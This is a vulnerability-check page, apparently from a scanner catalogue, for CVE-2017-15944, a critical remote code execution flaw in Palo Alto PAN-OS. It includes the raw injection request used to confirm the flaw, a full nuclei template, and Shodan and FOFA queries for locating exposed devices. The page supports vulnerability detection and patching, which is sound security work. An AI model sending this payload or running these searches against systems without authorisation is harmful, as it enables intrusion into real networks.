Palo Alto Network PAN-OS - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-08-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches and updates provided by Palo Alto Networks.

How to confirm it

Send: GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";
Positive when: contains "@start@Success@end@" AND status 200

Run it with nuclei: nuclei -id CVE-2017-15944 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-15944

info:
  name: Palo Alto Network PAN-OS - Remote Code Execution
  author: emadshanab,milo2012
  severity: critical
  description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Palo Alto Networks.
  reference:
    - https://www.exploit-db.com/exploits/43342
    - https://security.paloaltonetworks.com/CVE-2017-15944
    - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15944
    - http://www.securitytracker.com/id/1040007
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-15944
    epss-score: 0.9834
    epss-percentile: 0.99917
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve2017,cve,kev,edb,rce,vpn,panos,globalprotect,paloaltonetworks,vkev,vuln

http:
  - raw:
      - |
        GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{randstr}};

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "@start@Success@end@"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from